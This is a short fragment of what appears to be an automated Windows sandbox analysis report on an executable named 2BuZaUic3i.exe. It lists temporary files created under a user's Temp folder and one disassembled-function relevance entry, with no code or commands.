C:\Users\user\AppData\Local\Temp\tmp1CC4.tmp

C:\Users\user\AppData\Local\Temp\tmp5394.tmp

C:\Users\user\AppData\Local\Temp\tmp743B.tmp

C:\Users\user\AppData\Local\Temp\tmp744B.tmp

C:\Users\user\AppData\Local\Temp\tmp744C.tmp

C:\Users\user\AppData\Local\Temp\tmp745D.tmp

C:\Users\user\AppData\Local\Temp\tmp745E.tmp

C:\Users\user\AppData\Local\Temp\tmp746F.tmp

C:\Users\user\AppData\Local\Temp\tmp7470.tmp

C:\Users\user\AppData\Local\Temp\tmp7480.tmp

Windows Analysis Report
2BuZaUic3i.exe

Function 05E1DA30 Relevance: 13.2, Strings: 10, Instructions: 692
COMMON